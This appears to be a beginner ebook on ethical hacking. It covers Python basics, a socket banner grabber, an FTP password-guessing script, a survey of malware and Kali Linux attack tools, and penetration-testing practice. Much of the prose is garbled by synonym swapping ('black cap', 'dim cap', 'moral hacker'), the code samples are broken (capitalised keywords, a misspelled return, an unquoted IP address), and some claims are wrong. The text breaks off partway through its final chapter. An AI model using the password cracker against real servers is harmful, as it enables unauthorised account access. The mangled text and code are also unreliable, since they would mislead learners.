W
THE CO

Contents

The Fundamentals of Hacking
- Benefits of Ethical Hacking
- Diverse Types of Hacking Attacks

Hacking - A Guide for Beginners
- First Step – Learn More about Computers and Networks
- Second Step – Read Basic Hacking Books
- Third Step – Learn How to Program

How to Hack with Python
- How to Get Python Modules
- How to Write Python Scripts
- How to Run a Python File
- How to Add a Comment

Object-Oriented Programming
- The Components of an Object
- How to Network with the Python Language
  - Dictionaries
  - Control Statements
- How to Create a Password Cracker
- Basic Computer Security
- How to Fight Malicious Programs
  - Web Security

Penetration Testing

Penetration Testing – The Basics
- The Rules of Penetration Testing
- Penetration Testing – The Process
  - Choose Your Tools
- The Different Forms of Penetration Tests
- Different Facets of a Penetration Test
  - Manual and Automated Tests

How to Write a Report
- The Legal Aspect of Penetration Tests

How to Protect Yourself
How to Protect Your Website from Hackers
Typical Hacking Attacks
The Defensive Measures
How to Keep Your Business Secure
FINAL THOUGHT

Copyright ©2021.WILFRED DAWSON

All rights reserved. No part of this publication may be reproduced, distributed, or transmitted in any form or by any means, including photocopying, recording, or other electronic or mechanical methods, without the prior written permission of the publisher, except in the case of brief quotations embodied in critical reviews and certain other noncommercial uses permitted by copyright law.

The Fundamentals of Hacking

There are three sorts of hackers:

1. White hat
2. Black cap
3. Dim cap.

A white cap (additionally known as moral) hacker tries to breach

network frameworks in order to help organizations and organizations in improving their digital defenses. A dark cap hacker, meanwhile, accesses digital records and/or gadgets for vindictive purposes. A gray hat hacker is a blend of the first two types: he might be a white hat this time and become a dark hat in the next.

Significant Note: There are laws that disallow dark cap hacking. You can get detained if you'll try to access digital information without the owner's permission. Because of that, this book will help you become a moral hacker. It will provide you with tips, tricks, and techniq ues that you can use in hacking systems ethically.

Benefits of Ethical Hacking

To protect yourself from thieves, you need to think like one. This standard serves as the center of white hat hacking.

The total number of programmer's is developing each day. What's more, these people are on a persistent q uest to improve their skills and expand their knowledge. On the off chance that you will consider the vulnerabilities that exist in machines and digital networks, you will understand the dreadful state of security that individuals' have against hackers. You need to secure your framework from the awful guys. To achieve this objective, you should know how to hack.

The objectives of a white hat hacker are:

• Attack a system without destroying it

• Identify system vulnerabilities

• Prove that vulnerabilities exist

• Help in improving the security of his target

Diverse Types of Hacking Attacks

Hackers divide their attacks into diverse types. These types are:

Nontechnical

These techniq ues focus on the end-users (i.e.,, the individuals who use the target gadgets). Because humans have a natural tendency to trust others, programmers can break through a system's defenses without using any electronic device. These hackers may use "social engineering" strategies to obtain a user's trust and acq uire access to a network or file. You'll learn more about social engineering later on.

A programmer may additionally execute a physical assault against his target. For instance, he may break into a PC room and access one or more devices that are present. As an alternative, he may check the dumpsters in the building and try to look for useful data (e.g.,, passwords). Hackers allude to this approach as "dumpster diving".

Network

Programmer's can actualize this kind of attack easily, since most networks are accessible through the internet. The most common forms of network attacks are:

• Accessing a network using a rigged modem

• Taking advantage of weaknesses in digital transport components (e.g.,, NetBIOS)

• Sending a continuous stream of req uests to a network

• Rigging the system and collecting data packets to get to secret information

Operating System

These attacks play an important job in any hacker's toolkit. That is because each PC has a operating framework. Also, there are a lot of tools that you can use to crack the OS (i.e.,, operating arrangement) of a computer.

There are a ton of operating frameworks out there. However, programmers usually center around the most popular ones (e.g.,, Windows systems). Here are some of the OS attacks that you can use:

• Destroying the security of a file system

• Deciphering passwords

• Attacking pre-introduced authentication instruments

• Taking advantage of vulnerabilities in certain protocols

Application

Some hackers utilize PC programs to assault networks. Often, a hacker gains access to a machine through a web-based application or an email-related program. The most popular members of this type are:

• Sending "spam" (i.e.,, garbage mail) to individuals

• Installing malware (i.e.,, malicious software) in objective systems

• Bypassing security systems (e.g.,, firewall) through "on the web" conventions (e.g.,, SMTP, HTTP, IMAP, etc.)

Hacking - A Guide for Beginners

There are many learning materials for hackers. Most of these materials are free, so you won't have to spend any money just to develop your hacking skills. Unfortunately, most of the hacking resources that you'll find are created for intermediate and/or expert hackers. You won't benefit from the said materials if you are a complete beginner.

You will discover a quick and easy way to become a hacker. The three-step learning program that you will see here is created for newbies. It will help you master the basics of hacking using a logical method of learning.

First Step – Learn More about Computers and Networks

Hacking involves computers and networks. It req uires advanced computer knowledge and networking skills. Obviously, you won't

be able to hack a computer if you don't even know the difference between TCP/IP and Windows XP. To become a hacker, you must know the basics of computer-related technology.

It would be best if you'll expose yourself to different operating systems. More and more people are switching to Linux systems so you should learn the basics of that OS. Once you have mastered the basics of computers and networks, understanding how "exploits" and "vulnerabilities" work will be easy.

Second Step – Read Basic Hacking Books

There are countless hacking books out there. A basic Google search will give you hundreds of available learning materials. However, since you are new to the hacking world, you should focus on the basic ideas and principles of hacking. It is tempting to grab books about advanced topics such as Wireshark utilization or payload selection, but you won't benefit from this study method. The ideal learning strategy for a complex concept (like computer hacking) is to master the basics and build up your knowledge and skills slowly.

This eBook will cover the basic aspects of hacking. After reading this book, you'll be able to attack systems and understand complex ideas related to digital security.

Third Step – Learn How to Program

If you want to be a skilled hacker, you should know how to create your own programs. Programming skills are important for anyone who is serious about hacking. It is true that there are tons of programs and ready-made tools available online. However, relying on other people's work is not a good idea. The ability to create your own programs and modify existing hacking tools can help you greatly in your quest to become a hacking expert.

There are a lot of programming languages that you can choose from. But if you are a total newbie, you should study Python first. Python is one of the simplest programming languages out there. However, it is extremely effective in writing codes for hacking purposes. This is the main reason why many hackers prefer this language over C++ or Ruby. You'll learn more about Python in the

next chapter.

How to Hack with Python

Python is one of the best programming languages for hacking. This language is easy to learn and powerful enough to satisfy all of your programming needs. In this chapter, you'll learn the basics of Python. You will know how to launch it, how to write codes with it, and how to compile it.

Important Note: This chapter assumes that you are using Kali Linux, an operating system that is created for hackers. Kali Linux contains hundreds of built-in hacking tools that you can use to test your systems or attack other networks. In addition, this OS is completely free.

How to Get Python Modules

An excellent benefit of using Kali Linux is that it comes with a pre-installed version of Python. That means you can start writing codes without downloading anything. The default modules and language library of Python allow you to perform a wide range of activities. For instance, the ready-made version of Python has exception handling, file handling, math and number modules, and data types.

Python's built-in tools and components are enough to create effective hacking tools. But you can enhance the effectiveness and flexibility of this language by downloading additional modules from third-party sources. These extra modules are the main reason why many hackers choose Python for their programming needs.

Installing a Module

Just like other Linux systems, Kali Linux req uires "wget" when acquiring new files or programs from the internet. This command downloads your chosen file or program from its respective repository. Then, you have to decompress the downloaded module and issue the following command:

Python setup.py install

Let's assume that you want to download Nmap (a python module) from www.xael.org. To get this module, you must:

1. Turn on your Kali Linux computer.

2. Launch a terminal (the small window that takes user inputs).

3. Type the following code:

Kali > wget http://xael.org/norman/python/python-nmap/python-nmap-0.3.4.tar.gz

4. Extract the file by typing:

Kali > tar –xzf python-nmap-0.3.4.tar.gz

5. Access the directory you created by entering:

Kali > cd python-nmap-.03.4/

6. Issue the code given below to finish the process:

Kali > python setup.py install

Congratulations. You successfully installed a Python module on your Kali Linux computer. Now, you can use the said module for your hacking activities. Important Note: This is the method that you must use to add more modules to your operating system. It might seem long and complex at first. But once you get used to it, creating a large collection of third-party modules will be a walk in the park.

How to Write Python Scripts

In this part of the book, you'll learn how to write codes using the Python language. It will also explain the fundamental terms, concepts, and syntax of Python codes. Read this material carefully; it will help you become a knowledgeable programmer and hacker.

Important Note: You need to use a text editor when writing codes. Kali Linux has a built-in text editor called "Leafpad". As you can see, Kali Linux contains everything you need to hack computers and systems.

Proper Formatting

Formatting plays an important role in the Python language. The

interpreter of Python groups codes based on their format. Keep in mind that consistency is more important than precision. You don't have to follow strict formatting rules. You just have to be consistent with the format you are using.

For example, if you'll use double indentation to differentiate a code block, indent each line of that code block twice. Forgetting this simple rule can lead to error messages and/or failed attacks.

How to Run a Python File

Nothing beats active learning. To help you master this process, let's write a basic piece of code using Leafpad. Here's the code:

#! /user/bin/python

name = "< Chuck Norris >"

Print "Hi," + name + "!"

Save the file as "sample.py".

This code consists of three lines. The first one triggers the interpreter of Python. The second one creates a variable called "name" and sets a value for it. The last line concatenates the word "Hi" with the user's input and inserts an exclamation mark.

At this point, you can't execute the code yet. You must give yourself the permission to run it first. In Kali Linux, the command that you should use is "chmod".

The code that you must type is:

Chmod 755 sample.py

After issuing that command using a terminal, your screen will show you this:

Hi, Chuck Norris!

How to Add a Comment

You can add comments to your Python codes. In programming, a comment is a word, sentence, or paragraph that defines what a piece of code can do. It doesn't affect the functionality or behavior

of the code itself. Adding a comment to your codes isn't required but nonetheless advised. Comments will help you remember important information regarding your codes. Obviously, you don't want to forget the "internal mechanisms" of your own programs.

The interpreter of Python skips each comment. That means the interpreter will jump over words, sentences or paragraphs until it finds a legitimate code block. In Python, you need to use "#" to set a single-line comment. For multiline comments, you must type three double quotes. These symbols must appear at the beginning of your comments.

Here are some comments written in the Python language:

1. # Hi, I'm a single-line comment.

2. """

Hi,

I'm

A

Multiline

Comment

"""

Modules

With Python, you can divide your codes into separate modules. You must "import" a module in order to use it. When importing a module, you will access the classes, methods, and functions (you'll learn about these later) that are present inside that module. This feature is one of the major reasons why Python is the preferred computer language of computer hackers.

Object-Oriented Programming

At this point, it's important to discuss object-oriented programming (or OOP). OOP is a coding model that serves as the core principle behind major computer languages (e.g.,, Java). You need to understand OOP if you want to be a skilled hacker.

The Components of an Object

Each object has methods (things it can do) and properties (states or attributes).

OOP allows programmers to link their activities with the real world. For instance, a computer has methods (e.g., turns on, accesses the internet, launches applications, etc.) and properties (e.g.,, available space, processing speed, brand, etc.). If you'll think of OOP as a human language, objects are nouns, methods are verbs, and properties are adjectives.

Each object belongs to a class. A computer, for example, belongs to the class called "machines". "Machines" is the class, "computers' is a subclass, and "laptops" is a sub-subclass.

An object gets the characteristics of its class.

Variables

Variables point to information that exists in a computer's memory. In Python, this memory can keep different pieces of data (e.g.,, strings, lists, integers, Booleans, dictionaries, real numbers, etc.).

Variable types act like classes. The script you'll see below shows some of these types.

Launch a text editor and type the following code:

#! Usr/bin/python/

SampleStringVariable = "This is an awesome variable."

SampleList = [10, 20, 30, 40, 50]

SampleDictionary = {'example': 'Hacker', 'number': 23}

Print SampleStringVariable

After running that script, you will see the following message on your screen: This is an awesome variable.

Important Note: Python can choose the right type of variable on your behalf. You don't have to declare the variable before setting its value.

Functions

The Python language comes with preinstalled functions. Kali Linux has an extensive collection of functions, although you may download more from online libraries. Here are some functions that you'll use in your programs:

• Int () – Use this function to truncate numeric data. It simply gives the integer part of the argument.

• Len () – This function counts the items in a list.

• Exit () – This function lets you exit a program.

• Max () – With this function, you can determine the highest value of a list.

• Type () – Use this function to identify the data type of a Python object.

• Float () – This function converts its argument into a floating-point numeral.

• Sorted () – Use this function to sort the entries of a list.

• Range () – This function gives a list of numbers between two specific values. You need to set the said values as the function's arguments.

Lists

Most programming languages use arrays. An array is a collection of different objects. You may retrieve an entry from an array by specifying the position of the former. For example, you can get the fourth value of an array by typing [4]. Python has a similar feature, but it is known as "list".

Python lists are "iterable". That means you can use them for your loop statements (you'll learn more about loops later). Let's assume that you want to retrieve the third element of the "SampleList" (i.e.,, the one you created earlier). Here are the things that you should do:

1. Type the word "print". This command allows you to display information.

2. Specify the name of the list (i.e.,, SampleList).

3. Add a pair of brackets.

4. Insert “2” between the brackets. This number signifies the position of the item you want to retrieve. It is important to note that the numbering begins at zero. Thus, typing “1” will give you the second element, typing “2” will give you the third element, etc.

The Python script should look like this:

Print SampleList [2]

If you did everything correctly, your terminal should display this: 30

How to Network with the Python Language

Python has a module called “socket”. This module allows you to build network connections using the Python language. Let’s see how this module works. For this example, you’ll use “socket” to build a TCP (Transmission Control Protocol) connection.

The steps that you need to take are:

1. Import the right module.

2. Create a variable that belongs to a class called “socket”. Set “practice” as the variable’s name.

3. Use the method named “connect ()” to establish a connection to a port. The actual process ends here. The remaining steps will show you some of the things you can do after establishing a connection.

4. Use “recv” to acq uire 1024 data bytes from the current socket.

5. Save the information in a new variable called “sample”.

6. Print the information inside the “sample” variable.

7. Terminate the connection.

8. Save the code as “samplesocket” and issue “chmod”.

Your code should look like this:

#! Usr/bin/env python

Import socket

```
Practice = socket.socket ()
practice.connect (("192.168.1.107", 22))

Sample = practice.recv (1024)
Print sample

practice.close
```

Run that code and link your computer to another one using the 22 nd port. If SSH (Secure Socket Shell) is active in that port, you will get the banner of the second computer into your "sample" variable. Then, the information will appear on your screen.

Basically, the code you created is a "banner grabber".

Dictionaries

A dictionary is an object that can hold items (called "elements"). You can use a dictionary to record the usernames of your targets or the vulnerabilities of a network.

Dictionaries require a key-value pair. They can store several copies of a value. However, each key must be uniq ue. Like a Python list, a dictionary is iterable. You can use it with your "for" statements to create complex scripts. In addition, you may use a dictionary to create your own password crackers.

The syntax for creating a new dictionary is:

```
Dict = {firstkey: firstvalue, secondkey: secondvalue, thirdkey: thirdvalue…}
```

Control Statements

Computer programs need the ability to decide. In the Python language, you have several options on how to manage the arrangement of your code. For example, you may combine the "if" and "else" statements to create powerful hacking tools.

Let's discuss some of the most popular control statements of Python:

The “if” Statement

The syntax of this statement is

If <your Python expression>

…

Important Note: You must indent the statement’s “control block” (the code block that comes after the expression).

The “if …else” Statement

To use this statement, you must use the following syntax:

If <your Python expression>

…

Else

…

The script given below checks the “ID” of the current user. If the value is zero, the terminal will display “Hey, you are the root user.” If the value is non-zero, the resulting message will be “Hey, you are an ordinary user.”

If userid = = 0:

    Print “Hay, you are the root user.”

Else

    Print “Hay, you are an ordinary user.”

Loops

A loop is another powerful feature of Python. The most popular forms of loops are “for” and “while”. Let’s discuss each form in detail:

1. The “for” Loop

This kind of loop sets data from a Python object (e.g., list) to loop a variable continuously. In the following example, the “for” loop will enter different passwords:

passwords = [“ftp”, “sample”, “user”, “admin”, “backup”, “password”]

For password in passwords

Attempt = connect (username, password)

2. The "while" Loop

A while loop checks the value of a Boolean statement and executes a piece of code while the value of the statement is "true". Keep in mind that Boolean statements only have two possible values: (1) true, or (2) false.

How to Create a Password Cracker

At this point, you've learned many things about the Python language. Let's use that knowledge to create a hacking tool: a password cracker. The program that you will create is designed for FTP (File Transfer Protocol) accounts. Here are the steps:

1. Launch a text editor.

2. Import three modules: (1) socket, (2) re, and (3) sys.

3. Generate one socket that connects to a specific IP address through the 21st port.

4. Create a variable.

5. Generate a list named "passwords" and fill it with various passwords.

6. Write a loop to test each password. The process will continue until all of the passwords have been used or the program gets "230" as a response from the target FTP server.

The code that you must type is:

#! Usr/bin/ python

Import socket

Import re

Import sys

Def connect (username, password):

Sample = socket.socket (socket.AF_INET,

```
socket.SOCK_STREAM)
    Print "[*] checking " + username + ":" + password
    sample.connect ((192.168.1.105, 21))
    Data = sample.recv (1024)
    sample.send ('USER ' + username + '\r\n')
    Data = sample.recv (1024)
    sample.send ('PASS ' + password + '\r\n')
    Data = sample.recv (3)
    sample.send ('QUIT \r\n')
sample.close ()
Returen data
Username = "SampleName"
passwords = ["123", "ftp", "root", "admin", "test", "backup", "password"]

For password in passwords:
    Attempt = connect (username, password)
    If attempt = = "230":
        Print "[*] password found:" + password
sys.exit (0)
```

Save the file as "passwordcracker.py". Then, obtain the permission to execute the program and run it against your target FTP server.

Important Note: The code given above isn't cast in stone. You may modify it according to your preferences and/or situation. Once you become a skilled Python programmer, you will be able to improve the flexibility and effectiveness of this password cracker.

Basic Computer Security

This chapter will focus on topics related to computer security (e.g., privacy, networking, passwords, and etc.). After reading this article, you will know how to protect yourself from other hackers. You will

also know how to execute attacks against the defenses of your targets. You must read this material carefully: computer security is important for the “offense” and “defense” of hacking.

Passwords

You should treat security as an important part of using a computer. You are probably using the internet to perform a research, read your emails, buy stuff, or sell your own merchandise. These things have become easier because of computers and networks. However, this convenience comes with a hefty price: lack of security.

The following tips will help you in protecting yourself from hackers:

• Don’t share your usernames and passwords to anyone (not even your closest friends).

• Read the security/privacy policies of each site that you will access before entering personal data.

• Don’t buy anything from untrusted sites. The last thing you want to do is give your money and/or financial information to unscrupulous individuals. If you want to buy something online, look for trustworthy sites such as www.amazon.com and www.ebay.com.

• Do not share the login credentials of your email accounts with other people. Some emails contain private and/or confidential information.

Keep in mind that keeping your passwords secret isn’t enough. A hacker can still access that piece of information through a keylogger. Basically, a keylogger is a program that records all the keys that you press. To protect your computer from keyloggers, you should:

• Make sure that your computer’s firewall is on

• Run spyware/adware scanners on a regular basis

• Use an on-screen keyboard to enter your login credentials

• Install an anti-malware program on your machine

Malware

The term “malware” refers to programs that are designed to “infect” an electronic device (e.g.,, computer, tablet, smartphone, etc.). Let’s discuss the different types of malware:

Viruses: Basically, viruses are computer programs that infect other programs. Most viruses run only when the program they infected runs. This is the main reason why viruses are hard to detect. A virus has two parts: the “infector” and the “payload”. Keep in mind, however, that the payload is not req uired. That means a harmless program is still a virus if it attaches itself to a trusted computer program.

Trojans: This term came from the legendary “Trojan Horse”, a large wooden horse that spelled doom for Troy. In hacking, a Trojan is a program that contains other programs. The “container” is typically harmless. In fact, it can be a program that attracts unsuspecting users. Once a person downloads and installs a Trojan program, the malware inside will spread in the target machine.

Spyware: This is one of the most dangerous malwares out there. Basically, spyware records the activities you do on your computer and transmits the data to the hacker. This data transmission occurs via the internet. Hackers divide spyware into two types: harmless and harmful. Harmless spyware focuses on non-confidential data (e.g.,, the websites you visit). Harmful spyware, on the other hand, collects confidential information (e.g.,, passwords).

Adware: Basically, adware is a form of malware that shows advertisements on a person’s computer. This malware becomes extremely active whenever the infected machine is online. It is true that adware is one of the safest forms of malicious programs. However, it can be frustrating if a pop-up advertisement will appear whenever you click on a browser.

How to Fight Malicious Programs

Staying away from unscrupulous sites can help you prevent malware infection. However, it is likely that some malicious programs will still latch onto your machine. It would be best if you will install a reputable anti-malware program and scan your

computer regularly. Here are some of the most popular antivirus programs today:

• Norton Security

• AVG Internet Security

• Avast Antivirus

• McAfee Antivirus

Important Note: If you're an active internet user, you should scan your computer for malware at least once a week. Adjust this frequency to twice or thrice a week if you're dealing with confidential information.

Web Security

Hacking and digital security are not limited to computers. These topics also apply to websites. In this part of the book, you'll learn a lot about the basic defenses of a website. You can use this information to protect your site from hackers or launch attacks against your targets.

The Fundamentals: Website security consists of two aspects: internal and external. The internal aspect refers to the nature of the information you are handling. For instance, your website is secure if you are not dealing with confidential data. Few hackers would attack your site if they won't benefit from it. The external aspect, on the other hand, involves the settings of your website, the applications you installed on it, and the codes you used in creating it.

How to Keep a Website Secure: The best way to keep a site secure is by turning it off. This way, hackers won't have any way to access your files. If you need a live website, however, you should minimize the open ports and services that you offer. Unfortunately, these options are not applicable for most businesses and organizations. That means a lot of websites are prone to hacking attacks.

Important Note: Websites that have open ports, services, and different scripting languages are vulnerable to hackers. That's because a hacker can use a port, service, or computer language to

bypass the defenses of a website. You can protect your site by updating all of its applications regularly.

You also need to apply security updates and patches on your website.

Website Vulnerabilities: Here's a basic truth; your website has vulnerabilities. It can be an open port, an active service, or a fault in the code used in crafting your site. These vulnerabilities serve as doors that hackers can use to get inside your network or server. In addition, hackers tend to share their knowledge with others. If a hacker detects a vulnerability in a popular app or website, it's likely that he will share the information with others. He might also create a hacking tool for that target and distribute the former to his "brothers" and/or "sisters".

It's important to keep yourself updated with the latest vulnerabilities of your systems. Get the latest patch for your website whenever possible.

Two Defense Strategies: Here are two strategies that you can choose from;

1. Build Strong Defenses – This strategy requires constant attention and effort from the website owner or his "IT people". With this strategy, you need to secure the latest updates and patches for your site, review your online apps regularly, and hire experienced programmers to work on your website.

2. Detect and Fix Vulnerabilities – This strategy relies on a website scanning program or service. This "web scanner" looks for existing vulnerabilities in your apps, eq uipment, and website scripts.

The first strategy is logical: you'll build a "high wall" around your website to make sure that hackers can't attack it. However, it req uires a lot of time, effort, and attention. That is the main reason why website owners prefer the second strategy. Obviously, it is better to check whether vulnerability actually exists than building "walls" to protect imaginary weaknesses. Here, you will only spend time, effort, and money on fixing vulnerability once the existence of that vulnerability has been proven.

Penetration Testing

Penetration testing (also called ethical hacking) is the process of attacking a network or system to detect and fix the target's weaknesses. Businesses are willing to shell out some cash in order to protect their systems from black hat hackers. Because of this, penetration testing serves as a profitable and exciting activity for ethical hackers.

This chapter will teach you the basics of penetration testing. It will explain the core principles of "pen testing" and give you a list of tools that you must use. In addition, it will provide you with a step-by-step plan for conducting a penetration test.

Penetration Testing – The Basics

A penetration tester tries to breach the defenses of his target without prior access to any username, password, or other related information. The tester will use his skills, tools, and knowledge to obtain data related to his target and prove the existence of vulnerabilities. When attacking a local network, a penetration test would be considered successful if the tester successfully collects confidential information.

As you can see, penetration testing has a lot of similarities with malicious hacking. There are two major differences between these two: permission and the hacker's intentions. A tester has the permission to attack his target. And his main goal is to help his clients improve their digital security. In contrast, malicious hackers don't ask for the target's permission. They simply perform attacks in order to steal information, destroy networks, or attain other horrible goals.

Often, a tester needs to attack his target as a basic user. He must enhance his access rights and/or collect information that other basic users cannot reach.

Some clients want the tester to focus on a single vulnerability. In most cases, however, a tester must record each weakness that he will discover. The repeatability of the hacking process is important. Your clients won't believe your findings if you can't repeat what

you did.

The Rules of Penetration Testing

Remember that there's a fine line between penetration testing and malicious hacking. To make sure that you will not "go over" to the dark side, follow these simple rules:

Focus on Ethics: You should work as a professional. Consider your morals and personal principles. It doesn't matter whether you're attacking your own computer or testing a company's network: all of your activities must be aligned with your goals. Do not aim for any hidden agenda.

As an ethical hacker, trustworthiness is your main asset. Never use client-related information for personal purposes. If you'll ignore this rule, you might find yourself behind bars.

Respect Privacy: Every piece of information that you'll collect during a penetration test is important. Never use that data to gather corporate details or spy on other people. If you have to share any information, talk to the authorized personnel.

Don't Crash Any System: Inexperienced hackers usually crash their targets accidentally. This tendency results from poor planning and preparation. Most beginners don't even read the instructions that come with the tools they are using.

Your system can experience DoS (denial-of-service) during a penetration test. This often happens when the hacker runs multiple tests simultaneously. It would be best if you'll wait for a test to finish before running another one. Don't assume that your target can survive your attacks without any form of damage.

Important Note: Your goal is to help your clients in improving their digital security. The last thing you want to do is bring down their entire network while you're conducting a test. This event will ruin your reputation as a hacker.

Penetration Testing – The Process

Here's a detailed description of the process involved in penetration

testing:

Secure Permission: Don't do anything on your target until you have written permission from your client. This document can protect you from nasty lawsuits or similar problems. Verbal authorization is not sufficient when performing hacking attacks. Remember: countries are implementing strict rules and penalties regarding activities related to hacking.

Formulate a Plan: A plan can boost your chances of succeeding. Hacking a system can be extremely complicated, especially when you are dealing with modern or unfamiliar systems. The last thing you want to do is launch an attack with unorganized thoughts and tricks.

When creating a plan, you should:

• Specify your target/s

• Determine the risks

• Determine the schedule and deadline of your penetration test

• Specify the methods that you'll use

• Identify the information and access that you will have at the start of your test

• Specify the "deliverables" (the output that you'll submit to your client)

Focus on targets that are vulnerable or important. Once you have tested the "heavyweights", the remaining part of the test will be q uick and easy.

Here are some targets that you can attack:

• Mobile devices (e.g.,, smartphones)

• Operating Systems

• Firewalls

• Email servers

• Network Infrastructure

• Workstations

• Computer programs (e.g.,, email clients)

• Routers

Important Note: You should be extremely careful when choosing a hacking method. Consider the effects of that method and how your target will likely respond. For example, password crackers can lock out legitimate users from the system. This type of accident can be disastrous during business hours.

Choose Your Tools

Kali Linux contains various hacking tools. If you are using that operating system, you won't need to download other programs for your penetration tests. However, Kali's large collection of tools can be daunting and/or confusing. You might have problems identifying the tools you need for each task that you must accomplish.

Here are some of the most popular tools in Kali Linux:

• Nmap – You'll find this program in the toolkit of almost all hackers. It is one of most powerful tools that you can use when it comes to security auditing and network discovery. If you are a network administrator, you may also use Nmap in tracking host uptime, controlling the schedule of your service upgrades, and checking network inventory.

This tool is perfect for scanning huge computer networks. However, it is also effective when used against small targets. Because Nmap is popular, you will find lots of available resources in mastering this program.

• Ghost Phisher – This tool is an Ethernet and wireless attack program. It can turn your computer into an access point (or a hotspot) and hijack other machines. It can also work with the Metasploit framework (you will learn more about Metasploit later).

• Maltego Teeth – With this program, you will see the threats that are present in your target's environment. Maltego Teeth can show the seriousness and complications of different failure points. You will also discover the trust-based relationships inside the infrastructure of your target.

This tool uses the internet to collect information about your target system and its users. Hackers use Maltego Teeth to determine the relationships between:

O Domains

O Companies

O Phrases

O Files

O People

O Netblocks

O Websites

O IP addresses

O Affiliations

• **Wireshark** – Many hackers consider this tool as the best analyzer for network protocols. It allows you to monitor all activities in a network. The major features of Wireshark are:

O It can capture data packets and perform offline analysis

O It can perform VoIP (i.e., Voice over Internet Protocol) analysis

O It has a user-friendly GUI (graphical user interface)

O It can export data to different file types (e.g., CSV, plaintext, XML, etc.)

O It can run on different operating systems (e.g., OS X, Linux, NetBSD, etc.)

• **Exploitdb** – The term "exploitdb" is the abbreviation for "Exploit Database". Basically, exploitdb is a collection of exploits (i.e., a program that "exploits" a target's vulnerability) and the software they can run on. The main purpose of this database is to provide a comprehensive and up-to-date collection of exploits that computer researchers and penetration testers can use.

You need to find vulnerability before attacking a target. And you need an exploit that works on the vulnerability you found. You'll spend days (or even weeks) just searching for potential weaknesses and creating effective exploits. With exploitdb, your tasks will

become q uick and easy. You just have to run a search for the operating system and/or program you want to attack, and exploitdb will give you all the information you need.

• **Aircrack-ng** – This is a collection of tools that you can use to test Wi-Fi networks. With Aircrack-ng, you can check the following aspects of wireless networks:

O Testing – You can use it to test your drivers and Wi-Fi cards.

O Attacking – Use Aircrack-ng to perform packet injections against your targets.

O Cracking – This tool allows you to collect data packets and crack passwords.

O Monitoring – You may capture packets of data and save them as a text file. Then, you may use the resulting files with other hacking tools.

• **Johnny –** This tool is an open-source GUI for "John the Ripper", a well-known password cracker. It is possible to use "JTR" as is. However, Johnny can automate the tasks involved in cracking passwords. In addition, this GUI adds more functions to the JTR program.

Implement Your Plan: Penetration testing req uires persistence. You need to be patient while attacking your target. Sometimes, cracking a single password can take several days. Carefulness is also important. Protect the information you'll gather as much as you can. If other people will get their hands on your findings, your target will be in extreme danger. You don't have to search for potential hackers before running your test. If you can keep your activities private and secure, you are good to go. This principle is crucial during the transmission of your findings to your clients. If you have to send the information via email, you must encrypt it and set a password for it.

You can divide the execution of an attack into four phases:

1. Collect information regarding your target. Google can help you with this task.

2. Trim down your options. If you conducted a successful research,

you will have a lot of potential points of entry. You have limited time so it would be impossible to check all of those entry points. Evaluate each system and choose the ones that seem vulnerable.

3. Use your tools to reduce your options further. You can use scanners and data packet collectors to find the best targets for your attack.

4. Conduct your attack and record your findings.

Evaluate the Results: Analyze the data you collected. That data will help you in detecting network vulnerabilities and proving their existence. Knowledge plays an important role in this task. You will surely face some difficulties during your first few tries. However, things will become easy once you have gained the req uisite knowledge and experience. Important Note: Create a written report regarding your findings. Share the data with your clients to prove that hiring you is one of the best decisions they made.

The Different Forms of Penetration Tests

The form of penetration test that you'll conduct depends on the needs of your client. In this part of the book, you'll learn about the different kinds of "pen tests".

Black Box Tests: In a black box test, you don't have any information regarding your target. Your first task is to research about your client's network. Your client will define the results they need, but they won't give you other pieces of data.

The Advantages

Black box tests offer the following advantages:

• The tester will start from scratch. Thus, he will act like a malicious hacker who wants to access a network.

• The tester will have higher chances of detecting conflicts in the network.

• The tester doesn't need to be an expert programmer. Unlike other types of pen tests, black box tests don't rely on ready-made scripts.

The Disadvantages

The disadvantages of black box tests are:

• It can be time-consuming.

• It is extremely complex. The tester needs to spend time and effort in designing and launching an attack.

White Box Tests: These tests are detailed and comprehensive, since the hacker has access to all the information related to his target. For example, the hacker can use the IP addresses and source codes of a network as basis for his attack.

This form of test relies heavily on codes and programming skills.

The Advantages

The main advantages of white box testing are:

• It makes sure that each module path is working properly.

• It makes sure that each logical decision is verified and comes with the right Boolean value.

• It allows the hacker to detect errors in scripts.

• It helps the hacker in identifying design flaws that result from conflicts between the target's logical flow and actual implementation.

Gray Box Tests: Here, the hacker has access to some information regarding his target. You may think of a gray box test as a combination of black box and white box tests.

The Advantages

• The hacker can perform the test even without using the network's source code. Thus, the penetration test is objective and non-intrusive.

• There will be minimal connection between the tester and the developer.

• The client doesn't need to supply every piece of information to the tester. Sharing private or sensitive information with an outsider is extremely risky, especially if that third-party is skilled in attacking

networks.

Different Facets of a Penetration Test

You can divide a penetration test into three facets, namely:

Network Penetration: This facet focuses on the physical attributes of your target. The main goal of this facet is to identify vulnerabilities, determine risks, and ensure the security of a network. As the hacker, you should search for flaws in the design, operation, or implementation of the network you're dealing with. You will probably hack modems, computers, and access devices in this part of the attack.

Application Penetration: In this facet, you will concentrate on the target's logical structure. It simulates hacking attacks to verify the effectiveness of the network's existing defenses. Application penetration usually requires hackers to test the firewall and/or monitoring mechanisms of their target.

System Workflows or Responses: This facet focuses on how the organization's workflows and responses will change during an attack. It also involves the relationship of end-users with their computers. During this, the penetration tester will know whether the members of the network can prevent malicious attacks.

Manual and Automated Tests

Penetration testers divide tests into two categories: manual and automated. Manual tests rely on the skills of a white hat hacker. The tester has complete control over the process. If he makes a mistake, the entire penetration test can prove to be useless. Automated tests, on the other hand, don't need human intervention. Once the test runs, the computer will take care of everything: from selecting targets to recording the results.

In this part of the book, you'll learn important information regarding these types of tests. You need to master this concept if you're serious about hacking. With this knowledge, you can easily determine the type of test that must be used in any situation.

Manual Penetration Tests: You will run manual tests most of the time. Here, you will use your tools, skills, and knowledge to find the weaknesses of a network.

Manual tests involve the following steps:

• **Research** – This step has a huge influence over the entire process. If you have a lot of information about your target, attacking it will be easy. You can conduct research using the internet. For example, you may look for specific information manually or run your hacking tools.

Kali Linux has a wide of range of tools that you can use in this "reconnaissance" phase. With Kali's built-in programs, you can easily collect data about your targets (e.g. hardware, software, database, plugins, etc.).

• **Assessment of Weaknesses** – Analyze the information you collected and identify the potential weaknesses of the target. Your knowledge and experience will help you in this task. Obviously, you need to work on the obvious weaknesses first. That's because these weaknesses attract black hat hackers.

• **Exploitation** – Now that you know the specific weaknesses of your target, you must perform an attack. You will "exploit" a weakness by attacking it with a hacking tool.

• **Preparation and Submission of Output** – Record all the information you gathered during the test. Arrange the data so that your clients can easily determine the next steps. Make sure that your report is clearly explained. Don't use jargon.

